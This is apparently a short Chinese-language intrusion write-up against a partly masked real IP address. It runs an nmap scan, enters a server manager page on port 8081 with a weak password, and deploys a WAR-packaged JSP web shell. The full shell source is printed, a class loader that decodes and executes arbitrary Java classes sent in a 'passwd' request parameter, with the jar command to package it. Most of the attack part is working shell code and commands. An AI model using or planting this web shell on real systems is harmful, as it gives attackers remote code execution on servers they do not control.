开始挖洞
刚拿到ip,直接访问提示timed out,加上https也是打不开

拿出nmap扫一下
nmap -sV -v 183.xxx.xxx.xxx

还可以,虽然有一大堆filtered,但是还是有两个端口可以
先试试8081,浏览器直接访问

进manager页面,弱口令直接秒杀

使用命令把jsp一句话打包成war,然后deploy上传
shell.jsp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("passwd"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %>
|
jar -cvf exam_s shell.jsp